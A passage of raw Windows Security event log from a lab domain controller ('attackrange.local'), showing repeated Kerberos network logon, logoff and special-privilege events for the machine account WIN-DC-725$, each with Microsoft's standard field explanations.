Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248953 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCE8A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248952 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCE24 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248951 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCCE24 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64087 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248950 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCE24 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248949 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCDC3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248948 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCCDC3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64086 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248947 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCDC3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248970 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD090 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248969 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD090 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64093 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248968 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD090 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248967 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD02F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248966 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD02F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64092 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248965 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD02F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248964 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCFC9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248963 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCCFC9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64091 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248962 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCFC9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248961 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCF68 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248960 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCCF68 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64090 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248959 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCCF68 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248982 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD221 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248981 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD221 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64097 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248980 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD221 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248979 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD1C0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248978 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD1C0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64096 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248977 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD1C0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248976 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD15A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248975 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD15A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64095 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248974 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD15A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248973 -Keywords=Audit 